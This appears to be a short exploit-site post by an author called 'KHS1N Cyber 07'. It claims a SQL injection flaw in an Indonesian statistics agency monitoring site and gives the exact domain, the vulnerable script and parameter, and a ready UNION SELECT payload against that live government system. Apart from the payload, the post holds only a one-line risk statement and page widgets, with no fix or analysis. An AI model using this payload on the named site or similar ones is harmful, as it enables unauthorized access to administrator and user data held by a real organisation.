Badan pusat statistik monev Sql injection

2019.11.26

KHS1N Cyber 07 (DE)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

#Nick name : KHS1N Cyber 07
#Youtube   : HCTsec07

Vulnerabilty : 
#SQL Injection

Problem
this problem if not fixed it will make it easier for hackers to take admin data or user data

path dir : 
/esakip/kegiatan.php?org=

domain site :
https://monev.bps.go.id

payload :
+union+select+1,2,3,4,5,6,7--+--

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Badan pusat statistik monev Sql injection

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.